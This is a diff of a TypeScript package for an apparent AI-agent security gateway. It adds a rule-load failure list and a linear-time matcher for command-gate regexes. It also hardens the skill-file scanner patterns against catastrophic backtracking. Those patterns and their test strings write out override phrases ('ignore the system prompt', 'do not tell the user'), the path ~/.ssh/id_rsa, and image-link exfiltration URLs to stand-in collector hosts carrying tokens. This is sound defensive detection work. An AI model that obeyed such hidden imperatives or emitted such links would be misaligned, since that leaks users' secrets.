@intutic/shared-types 2.1.0 → 2.3.0

package/dist/ruleLoadFailures.js

@@ -0,0 +1,26 @@
+"use strict";
+/**
+ * Why a proxy refused to load a custom (WASM or Rego) rule version. The Rust
+ * proxy files a control-plane rule it refuses under one of these, and the
+ * control plane opens the incident with it; the MCP proxy, which loads only
+ * local rule files, logs the same names. One list, so a reason means the same
+ * thing wherever it is read.
+ *
+ * @module
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.RULE_LOAD_FAILURE_TEXT = exports.RULE_LOAD_FAILURE_REASONS = void 0;
+exports.isRuleLoadFailureReason = isRuleLoadFailureReason;
+exports.RULE_LOAD_FAILURE_REASONS = ['missing', 'hash_mismatch', 'compile_error', 'unsupported_import', 'load_error'];
+/** What each reason means, as an incident or a log states it. */
+exports.RULE_LOAD_FAILURE_TEXT = {
+    missing: 'its binary is missing',
+    hash_mismatch: 'its binary does not hash to the SHA-256 its descriptor names',
+    compile_error: 'its binary is not a WebAssembly module the proxy compiles',
+    unsupported_import: 'it imports a host function the proxy does not provide',
+    load_error: 'the proxy cannot run it, such as an OPA build using a builtin the host does not provide',
+};
+function isRuleLoadFailureReason(value) {
+    return exports.RULE_LOAD_FAILURE_REASONS.includes(value);
+}
+//# sourceMappingURL=ruleLoadFailures.js.map

package/dist/ruleLoadFailures.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ruleLoadFailures.js","sourceRoot":"","sources":["../src/ruleLoadFailures.ts"],"names":[],"mappings":";AAAA;;;;;;;;GAQG;;;AAeH,0DAEC;AAfY,QAAA,yBAAyB,GAAG,CAAC,SAAS,EAAE,eAAe,EAAE,eAAe,EAAE,oBAAoB,EAAE,YAAY,CAAU,CAAA;AAInI,iEAAiE;AACpD,QAAA,sBAAsB,GAA0C;IAC3E,OAAO,EAAE,uBAAuB;IAChC,aAAa,EAAE,8DAA8D;IAC7E,aAAa,EAAE,2DAA2D;IAC1E,kBAAkB,EAAE,uDAAuD;IAC3E,UAAU,EAAE,yFAAyF;CACtG,CAAA;AAED,SAAgB,uBAAuB,CAAC,KAAc;IACpD,OAAQ,iCAAgD,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAA;AAC1E,CAAC"}

package/dist/scriptScan.d.ts

@@ -7,8 +7,8 @@
  *
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
- * genre does not describe arbitrary source code, which is why TD-356
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
+ * genre does not describe arbitrary source code, which is why bundled-script
+ * scanning was explicitly deferred out of
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
  * detector onto it. This module is that deferred work, Phase S2. It reuses
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -122,7 +122,7 @@ export declare const MAX_FILES_PER_SKILL = 40;
 export declare const MAX_SCRIPT_SCAN_BYTES = 262144;
 /**
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
  * purpose: a file too big to content-scan is still worth a hash-only
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,
@@ -148,9 +148,9 @@ export interface SkillScriptsFacet {
     /**
      * sha256 (lowercase hex) of each bundled file the daemon could read
      * within {@link MAX_SCRIPT_HASH_BYTES}, one entry per file in walk order
-     * (TD-486). Hashes only — file content never leaves the machine. The
+     * Hashes only — file content never leaves the machine. The
      * control plane joins VirusTotal verdicts to the skill on these. ABSENT
-     * (not empty) from a daemon build that predates TD-486; the control
+     * (not empty) from a daemon build that predates script hashing; the control
      * plane falls back to a name-keyed join only in that case. An empty
      * array means nothing was hashable, and gets no fallback.
      */

package/dist/scriptScan.js

@@ -8,8 +8,8 @@
  *
  * `skillScan.ts` scans `SKILL.md` — markdown PROSE — for imperative
  * instruction shapes ("do not tell the user", "read ~/.ssh/id_rsa"). That
- * genre does not describe arbitrary source code, which is why TD-356
- * (`docs/TECH_DEBT.md`) explicitly deferred bundled-script scanning out of
+ * genre does not describe arbitrary source code, which is why bundled-script
+ * scanning was explicitly deferred out of
  * the phase that built `skillScan.ts`, rather than bolting a second, unrelated
  * detector onto it. This module is that deferred work, Phase S2. It reuses
  * `skillScan.ts`'s pattern shape ({@link SkillScanPattern}), its 3-category
@@ -77,7 +77,7 @@ exports.MAX_FILES_PER_SKILL = 40;
 exports.MAX_SCRIPT_SCAN_BYTES = 262_144;
 /**
  * 8 MiB. Largest bundled file the sync daemon will read to sha256-hash for
- * its `scripts` facet (TD-486). Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
+ * its `scripts` facet. Larger than {@link MAX_SCRIPT_SCAN_BYTES} on
  * purpose: a file too big to content-scan is still worth a hash-only
  * VirusTotal lookup. A file over this cap is counted in `total` and neither
  * hashed nor scanned — the daemon re-walks every skill on every sync cycle,

package/dist/sequence.d.ts

@@ -0,0 +1,52 @@
+/**
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
+ * linear time.
+ *
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
+ * automaton, in time linear in the command. JavaScript's and Python's engines
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
+ *
+ * - its top-level `|` alternatives are tried in turn;
+ * - each alternative is cut at its top-level `.*` into steps;
+ * - each step is searched for once, starting where the previous one ended.
+ *
+ * Each search is one pass over the text, so a rule costs at most its number of
+ * steps times the length of the text. It means the same as the regex provided
+ * the first match of every step but the last also ends first, which holds for
+ * every step the rule tables use: a step that starts and ends at a space with
+ * no space inside, or a fixed word. `.` does not match a newline and neither
+ * does a step search cross one in the regex, but the gates normalise every
+ * command subject to single spaces first, so there is none. A test fuzzes each
+ * sequence rule against its own regex.
+ *
+ * Self-contained on purpose — no imports, no module state — because the
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
+ * `fixtures/gate-rule-vectors.json`.
+ *
+ * @module
+ */
+/**
+ * A sequence rule's source as alternatives of steps: split at every top-level
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
+ * stays inside its step. Empty steps are dropped.
+ */
+export declare function sequenceAlternatives(source: string): string[][];
+/**
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
+ * the `g` flag, which is what lets a search start at `lastIndex`.
+ */
+export declare function compileSequence(source: string, ignoreCase: boolean): RegExp[][];
+/** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
+export declare function sequenceMatch(alternatives: RegExp[][], text: string): boolean;
+/**
+ * The three functions as JavaScript source, for a gate to emit: the gates run
+ * this exact code, not a retyped copy.
+ */
+export declare const SEQUENCE_JS_SOURCE: string;
+//# sourceMappingURL=sequence.d.ts.map

package/dist/sequence.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"sequence.d.ts","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AAEH;;;;;GAKG;AACH,wBAAgB,oBAAoB,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM,EAAE,EAAE,CA6C/D;AAED;;;GAGG;AACH,wBAAgB,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,OAAO,GAAG,MAAM,EAAE,EAAE,CAE/E;AAED,gGAAgG;AAChG,wBAAgB,aAAa,CAAC,YAAY,EAAE,MAAM,EAAE,EAAE,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAgB7E;AAED;;;GAGG;AACH,eAAO,MAAM,kBAAkB,QAAmG,CAAA"}

package/dist/sequence.js

@@ -0,0 +1,127 @@
+"use strict";
+/**
+ * Sequence rules: a gate rule `A.*B` run as "find A, then find B after it" in
+ * linear time.
+ *
+ * A rule like ` git .*reset +--hard` is a regex. `grep -E` runs it as an
+ * automaton, in time linear in the command. JavaScript's and Python's engines
+ * backtrack: for every ` git ` they try every end of `.*`, so 200 KB of
+ * ` git git git …` took 9.5 s, which is past the point where a harness that
+ * treats a hook timeout as "allow" runs the call. A rule marked `sequence`
+ * (`s` in a `.rules` line's flags column) is the same regex, read differently:
+ *
+ * - its top-level `|` alternatives are tried in turn;
+ * - each alternative is cut at its top-level `.*` into steps;
+ * - each step is searched for once, starting where the previous one ended.
+ *
+ * Each search is one pass over the text, so a rule costs at most its number of
+ * steps times the length of the text. It means the same as the regex provided
+ * the first match of every step but the last also ends first, which holds for
+ * every step the rule tables use: a step that starts and ends at a space with
+ * no space inside, or a fixed word. `.` does not match a newline and neither
+ * does a step search cross one in the regex, but the gates normalise every
+ * command subject to single spaces first, so there is none. A test fuzzes each
+ * sequence rule against its own regex.
+ *
+ * Self-contained on purpose — no imports, no module state — because the
+ * JavaScript gates emit it as source ({@link SEQUENCE_JS_SOURCE}).
+ * `packages/gate-js/src/sequence.ts` is a byte-identical copy and
+ * `intutic_clawde/gate/sequence.py` a transliteration; all of them run
+ * `fixtures/gate-rule-vectors.json`.
+ *
+ * @module
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.SEQUENCE_JS_SOURCE = void 0;
+exports.sequenceAlternatives = sequenceAlternatives;
+exports.compileSequence = compileSequence;
+exports.sequenceMatch = sequenceMatch;
+/**
+ * A sequence rule's source as alternatives of steps: split at every top-level
+ * `|`, then each alternative at every top-level `.*`. ` a .*b| c .*d` is
+ * `[[' a ', 'b'], [' c ', 'd']]`. Outside a group or a class only, so `(x|y)`
+ * stays inside its step. Empty steps are dropped.
+ */
+function sequenceAlternatives(source) {
+    const alternatives = [];
+    let steps = [];
+    let current = '';
+    let depth = 0;
+    let inClass = false;
+    for (let i = 0; i < source.length; i++) {
+        const c = source.charAt(i);
+        if (c === '\\') {
+            current += c + source.charAt(i + 1);
+            i++;
+            continue;
+        }
+        if (inClass) {
+            current += c;
+            if (c === ']')
+                inClass = false;
+            continue;
+        }
+        if (c === '[') {
+            inClass = true;
+            current += c;
+            if (source.charAt(i + 1) === '^')
+                current += source.charAt(++i);
+            if (source.charAt(i + 1) === ']')
+                current += source.charAt(++i);
+            continue;
+        }
+        if (c === '(')
+            depth++;
+        if (c === ')')
+            depth--;
+        if (depth === 0 && c === '|') {
+            steps.push(current);
+            alternatives.push(steps.filter((step) => step !== ''));
+            steps = [];
+            current = '';
+            continue;
+        }
+        if (depth === 0 && c === '.' && source.charAt(i + 1) === '*') {
+            steps.push(current);
+            current = '';
+            i++;
+            continue;
+        }
+        current += c;
+    }
+    steps.push(current);
+    alternatives.push(steps.filter((step) => step !== ''));
+    return alternatives;
+}
+/**
+ * Compiles a sequence rule's source for {@link sequenceMatch}: each step with
+ * the `g` flag, which is what lets a search start at `lastIndex`.
+ */
+function compileSequence(source, ignoreCase) {
+    return sequenceAlternatives(source).map((steps) => steps.map((step) => new RegExp(step, ignoreCase ? 'gi' : 'g')));
+}
+/** Whether `text` matches a compiled sequence rule: some alternative's steps occur in order. */
+function sequenceMatch(alternatives, text) {
+    for (const steps of alternatives) {
+        let pos = 0;
+        let ok = true;
+        for (const step of steps) {
+            step.lastIndex = pos;
+            const m = step.exec(text);
+            if (!m) {
+                ok = false;
+                break;
+            }
+            pos = m.index + m[0].length;
+        }
+        if (ok)
+            return true;
+    }
+    return false;
+}
+/**
+ * The three functions as JavaScript source, for a gate to emit: the gates run
+ * this exact code, not a retyped copy.
+ */
+exports.SEQUENCE_JS_SOURCE = `${sequenceAlternatives.toString()}\n${compileSequence.toString()}\n${sequenceMatch.toString()}`;
+//# sourceMappingURL=sequence.js.map

package/dist/sequence.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"sequence.js","sourceRoot":"","sources":["../src/sequence.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;;;AAQH,oDA6CC;AAMD,0CAEC;AAGD,sCAgBC;AA9ED;;;;;GAKG;AACH,SAAgB,oBAAoB,CAAC,MAAc;IACjD,MAAM,YAAY,GAAe,EAAE,CAAA;IACnC,IAAI,KAAK,GAAa,EAAE,CAAA;IACxB,IAAI,OAAO,GAAG,EAAE,CAAA;IAChB,IAAI,KAAK,GAAG,CAAC,CAAA;IACb,IAAI,OAAO,GAAG,KAAK,CAAA;IACnB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC;QACvC,MAAM,CAAC,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC,CAAA;QAC1B,IAAI,CAAC,KAAK,IAAI,EAAE,CAAC;YACf,OAAO,IAAI,CAAC,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,CAAA;YACnC,CAAC,EAAE,CAAA;YACH,SAAQ;QACV,CAAC;QACD,IAAI,OAAO,EAAE,CAAC;YACZ,OAAO,IAAI,CAAC,CAAA;YACZ,IAAI,CAAC,KAAK,GAAG;gBAAE,OAAO,GAAG,KAAK,CAAA;YAC9B,SAAQ;QACV,CAAC;QACD,IAAI,CAAC,KAAK,GAAG,EAAE,CAAC;YACd,OAAO,GAAG,IAAI,CAAA;YACd,OAAO,IAAI,CAAC,CAAA;YACZ,IAAI,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,KAAK,GAAG;gBAAE,OAAO,IAAI,MAAM,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC,CAAA;YAC/D,IAAI,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,KAAK,GAAG;gBAAE,OAAO,IAAI,MAAM,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC,CAAA;YAC/D,SAAQ;QACV,CAAC;QACD,IAAI,CAAC,KAAK,GAAG;YAAE,KAAK,EAAE,CAAA;QACtB,IAAI,CAAC,KAAK,GAAG;YAAE,KAAK,EAAE,CAAA;QACtB,IAAI,KAAK,KAAK,CAAC,IAAI,CAAC,KAAK,GAAG,EAAE,CAAC;YAC7B,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;YACnB,YAAY,CAAC,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,KAAK,EAAE,CAAC,CAAC,CAAA;YACtD,KAAK,GAAG,EAAE,CAAA;YACV,OAAO,GAAG,EAAE,CAAA;YACZ,SAAQ;QACV,CAAC;QACD,IAAI,KAAK,KAAK,CAAC,IAAI,CAAC,KAAK,GAAG,IAAI,MAAM,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,KAAK,GAAG,EAAE,CAAC;YAC7D,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;YACnB,OAAO,GAAG,EAAE,CAAA;YACZ,CAAC,EAAE,CAAA;YACH,SAAQ;QACV,CAAC;QACD,OAAO,IAAI,CAAC,CAAA;IACd,CAAC;IACD,KAAK,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA;IACnB,YAAY,CAAC,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,KAAK,EAAE,CAAC,CAAC,CAAA;IACtD,OAAO,YAAY,CAAA;AACrB,CAAC;AAED;;;GAGG;AACH,SAAgB,eAAe,CAAC,MAAc,EAAE,UAAmB;IACjE,OAAO,oBAAoB,CAAC,MAAM,CAAC,CAAC,GAAG,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,MAAM,CAAC,IAAI,EAAE,UAAU,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAA;AACpH,CAAC;AAED,gGAAgG;AAChG,SAAgB,aAAa,CAAC,YAAwB,EAAE,IAAY;IAClE,KAAK,MAAM,KAAK,IAAI,YAAY,EAAE,CAAC;QACjC,IAAI,GAAG,GAAG,CAAC,CAAA;QACX,IAAI,EAAE,GAAG,IAAI,CAAA;QACb,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;YACzB,IAAI,CAAC,SAAS,GAAG,GAAG,CAAA;YACpB,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;YACzB,IAAI,CAAC,CAAC,EAAE,CAAC;gBACP,EAAE,GAAG,KAAK,CAAA;gBACV,MAAK;YACP,CAAC;YACD,GAAG,GAAG,CAAC,CAAC,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,MAAM,CAAA;QAC7B,CAAC;QACD,IAAI,EAAE;YAAE,OAAO,IAAI,CAAA;IACrB,CAAC;IACD,OAAO,KAAK,CAAA;AACd,CAAC;AAED;;;GAGG;AACU,QAAA,kBAAkB,GAAG,GAAG,oBAAoB,CAAC,QAAQ,EAAE,KAAK,eAAe,CAAC,QAAQ,EAAE,KAAK,aAAa,CAAC,QAAQ,EAAE,EAAE,CAAA"}

package/dist/session.d.ts

@@ -3,7 +3,7 @@
  *
  * These types correspond to the `agent_sessions` table and the
  * Valkey session checkpoint keys defined in
- * LLD 01-data-architecture §3.1 and §3.3.
+ * the data-architecture schema.
  *
  * HLD §4.5 (Session Tracking)
  *

package/dist/session.js

@@ -4,7 +4,7 @@
  *
  * These types correspond to the `agent_sessions` table and the
  * Valkey session checkpoint keys defined in
- * LLD 01-data-architecture §3.1 and §3.3.
+ * the data-architecture schema.
  *
  * HLD §4.5 (Session Tracking)
  *

package/dist/skillScan.d.ts

@@ -38,7 +38,7 @@
  * not allow…") that a tool description never does — precisely the shape
  * this module's patterns key on.
  *
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
  * at pinned commits (provenance, licences and bias statement in that
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -60,7 +60,7 @@
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
  * patterns, shipped to the tool-call gates through the sync daemon's policy
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
+ * where one sync cycle retracts them.
  *
  * # Fixture discipline
  *
@@ -99,7 +99,7 @@ export type SkillScanCategory = 'prompt_injection' | 'data_exfiltration' | 'mali
  * scanner (and `scriptScan.ts`'s, which reuses this union);
  * `'cisco-skill-scanner'` is the separate, opt-in Cisco `skill-scanner`
  * integration (Phase S3, `tools/cli/src/lib/ciscoScanner.ts`) — the
- * genuinely deeper AST/dataflow analysis TD-356 named as the eventual
+ * genuinely deeper AST/dataflow analysis long named as the eventual
  * follow-up to this phase's pattern matching. Optional, not required: a
  * finding from before this field existed has no engine tag, which is fine —
  * absence has always meant "this codebase's own scanner," now made explicit.

package/dist/skillScan.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"skillScan.d.ts","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH;;4EAE4E;AAC5E,MAAM,MAAM,iBAAiB,GAAG,kBAAkB,GAAG,mBAAmB,GAAG,gBAAgB,CAAA;AAE3F;;;;;;;;;GASG;AACH,MAAM,MAAM,eAAe,GAAG,QAAQ,GAAG,qBAAqB,CAAA;AAE9D,oDAAoD;AACpD,MAAM,WAAW,gBAAgB;IAC/B,2EAA2E;IAC3E,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,iBAAiB,CAAA;IAC3B,oFAAoF;IACpF,MAAM,EAAE,MAAM,CAAA;IACd,8EAA8E;IAC9E,WAAW,EAAE,MAAM,CAAA;IACnB,qEAAqE;IACrE,OAAO,EAAE,SAAS,MAAM,EAAE,CAAA;IAC1B;yCACqC;IACrC,UAAU,EAAE,SAAS,MAAM,EAAE,CAAA;CAC9B;AAED;;;;sEAIsE;AACtE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,iBAAiB,CAAA;IAC3B;sCACkC;IAClC,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,uEAAuE;IACvE,MAAM,CAAC,EAAE,eAAe,CAAA;CACzB;AAED,MAAM,WAAW,eAAe;IAC9B,0CAA0C;IAC1C,KAAK,EAAE,OAAO,CAAA;IACd,QAAQ,EAAE,gBAAgB,EAAE,CAAA;IAC5B,gDAAgD;IAChD,SAAS,EAAE,MAAM,CAAA;CAClB;AAED;;;;4DAI4D;AAC5D,eAAO,MAAM,cAAc,KAAK,CAAA;AAEhC;sEACsE;AACtE,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CASjF;AAED;;;;;;;;GAQG;AACH,eAAO,MAAM,mBAAmB,EAAE,SAAS,gBAAgB,EA8N1D,CAAA;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,eAAO,MAAM,+BAA+B,EAAE,SAAS,MAAM,EAU5D,CAAA;AAoED;;;;;;;;;;GAUG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG,eAAe,CAcjE"}
+{"version":3,"file":"skillScan.d.ts","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;AAEH;;4EAE4E;AAC5E,MAAM,MAAM,iBAAiB,GAAG,kBAAkB,GAAG,mBAAmB,GAAG,gBAAgB,CAAA;AAE3F;;;;;;;;;GASG;AACH,MAAM,MAAM,eAAe,GAAG,QAAQ,GAAG,qBAAqB,CAAA;AAE9D,oDAAoD;AACpD,MAAM,WAAW,gBAAgB;IAC/B,2EAA2E;IAC3E,EAAE,EAAE,MAAM,CAAA;IACV,QAAQ,EAAE,iBAAiB,CAAA;IAC3B,oFAAoF;IACpF,MAAM,EAAE,MAAM,CAAA;IACd,8EAA8E;IAC9E,WAAW,EAAE,MAAM,CAAA;IACnB,qEAAqE;IACrE,OAAO,EAAE,SAAS,MAAM,EAAE,CAAA;IAC1B;yCACqC;IACrC,UAAU,EAAE,SAAS,MAAM,EAAE,CAAA;CAC9B;AAED;;;;sEAIsE;AACtE,MAAM,WAAW,gBAAgB;IAC/B,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,iBAAiB,CAAA;IAC3B;sCACkC;IAClC,OAAO,CAAC,EAAE,MAAM,CAAA;IAChB,uEAAuE;IACvE,MAAM,CAAC,EAAE,eAAe,CAAA;CACzB;AAED,MAAM,WAAW,eAAe;IAC9B,0CAA0C;IAC1C,KAAK,EAAE,OAAO,CAAA;IACd,QAAQ,EAAE,gBAAgB,EAAE,CAAA;IAC5B,gDAAgD;IAChD,SAAS,EAAE,MAAM,CAAA;CAClB;AAED;;;;4DAI4D;AAC5D,eAAO,MAAM,cAAc,KAAK,CAAA;AAEhC;sEACsE;AACtE,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,MAAM,CASjF;AAED;;;;;;;;GAQG;AACH,eAAO,MAAM,mBAAmB,EAAE,SAAS,gBAAgB,EAqP1D,CAAA;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,eAAO,MAAM,+BAA+B,EAAE,SAAS,MAAM,EAU5D,CAAA;AAoED;;;;;;;;;;GAUG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,MAAM,GAAG,eAAe,CAcjE"}

package/dist/skillScan.js

@@ -39,7 +39,7 @@
  * not allow…") that a tool description never does — precisely the shape
  * this module's patterns key on.
  *
- * **Measured since (TD-358):** `src/__tests__/corpus/skills/` vendors 350
+ * **Measured since:** `src/__tests__/corpus/skills/` vendors 350
  * real, benign `SKILL.md` files from four MIT/Apache-2.0 skill collections
  * at pinned commits (provenance, licences and bias statement in that
  * directory's `PROVENANCE.md`; the reviewed result in `BASELINE.txt`).
@@ -61,7 +61,7 @@
  * measurement is {@link SKILL_CONTENT_BLOCK_PATTERN_IDS}: the zero-hit
  * patterns, shipped to the tool-call gates through the sync daemon's policy
  * snapshot (`skill_content.*`, see `services/sync-daemon/src/lib/policySnapshot.ts`)
- * where one sync cycle retracts them. See `docs/TECH_DEBT.md` TD-358.
+ * where one sync cycle retracts them.
  *
  * # Fixture discipline
  *
@@ -272,7 +272,14 @@ exports.SKILL_SCAN_PATTERNS = [
         // Requires an agent-directed imperative inside the comment, not just
         // any comment, to keep ordinary editorial comments ("TODO", "see style
         // guide") out of the false-positive set.
-        source: '<!--[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
+        //
+        // The lookahead after `<!--` is a necessary condition — the comment must
+        // close within 600 characters (200 before the imperative, the imperative,
+        // 200 after it) — checked once per comment. Without it each imperative in
+        // a comment that never closes scanned 200 characters for `-->`, and a
+        // crafted 256 KB file took a third of a second in Python. It misses only an
+        // imperative stretched past ~190 characters by whitespace between its words.
+        source: '<!--(?=[\\s\\S]{0,600}?-->)[\\s\\S]{0,200}?\\b(ignore\\s+(the\\s+)?(system\\s+prompt|previous)|secretly' +
             '|do\\s+not\\s+(tell|mention|reveal)|hidden\\s+instructions?)\\b[\\s\\S]{0,200}?-->',
         description: 'An HTML comment — invisible when the markdown renders — containing an agent-directed ' +
             'imperative, a place a human reviewer would not see it.',
@@ -293,13 +300,28 @@ exports.SKILL_SCAN_PATTERNS = [
         // a credential-shaped word is the classic image-based exfiltration
         // vector — an auto-rendered `![]()` fires an outbound request built
         // from the surrounding "instructions" with no user action required.
-        source: '!?\\[[^\\]]*\\]\\(\\s*https?://[^)\\s]*\\b(secret|token|password|api[_-]?key|credential|ssh)\\b[^)]*\\)',
+        //
+        // Written so a backtracking engine does each link once: the link text
+        // cannot contain `[` (a match from an inner `[` exists whenever one from an
+        // outer one does); the URL stops at `[` too, except for a bracketed IP
+        // host, so one link's URL scan never runs over the next link's; the first
+        // credential word in the URL is found inside a lookahead and kept
+        // (`(?=(…))\\1` cannot be re-entered), the rest of the URL is consumed the
+        // same way, and the link must close within 200 characters after the URL (a
+        // title). The unbounded version was cubic: 8 KB of `![x](http://a-secret-…`
+        // took a third of a second, 16 KB 2.5 s, and 256 KB of `[a](http://x`
+        // nearly two minutes in Python. It misses a credential word that comes
+        // after a raw `[` in the path or query, which RFC 3986 requires encoded.
+        source: '!?\\[[^\\[\\]]*\\]\\(\\s*https?://(?:\\[[^\\]\\s)]{0,64}\\])?' +
+            '(?=([^)\\s\\[]*?\\b(?:secret|token|password|api[_-]?key|credential|ssh)\\b))\\1' +
+            '(?=([^)\\s\\[]*))\\2[^)]{0,200}\\)',
         description: 'A markdown link or image whose URL itself names a credential-shaped value — the ' +
             'auto-rendered-image exfiltration vector, since an image fires an outbound request with ' +
             'no user action.',
         matches: [
             '![status](https://collector.example.com/log?token=SECRET_VALUE)',
             'See [details](http://collector.example/report?api_key=xyz) for more.',
+            '![x](http://[2001:db8::1]:8080/c?ssh=KEY)',
         ],
         notMatches: [
             '![logo](https://example.com/assets/logo.png)',

package/dist/skillScan.js.map

@@ -1 +1 @@
-{"version":3,"file":"skillScan.js","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2FG;;;AAmEH,gCASC;AAsVD,4CAcC;AAtXD;;;;4DAI4D;AAC/C,QAAA,cAAc,GAAG,EAAE,CAAA;AAEhC;sEACsE;AACtE,SAAgB,UAAU,CAAC,OAAe,EAAE,KAAa,EAAE,MAAc;IACvE,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,KAAK,GAAG,sBAAc,CAAC,CAAA;IACjD,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,MAAM,EAAE,KAAK,GAAG,MAAM,GAAG,sBAAc,CAAC,CAAA;IACrE,MAAM,MAAM,GAAG,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAA;IACnC,MAAM,MAAM,GAAG,GAAG,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAA;IAC9C,0EAA0E;IAC1E,gDAAgD;IAChD,MAAM,GAAG,GAAG,OAAO,CAAC,KAAK,CAAC,KAAK,EAAE,GAAG,CAAC,CAAC,OAAO,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,IAAI,EAAE,CAAA;IACjE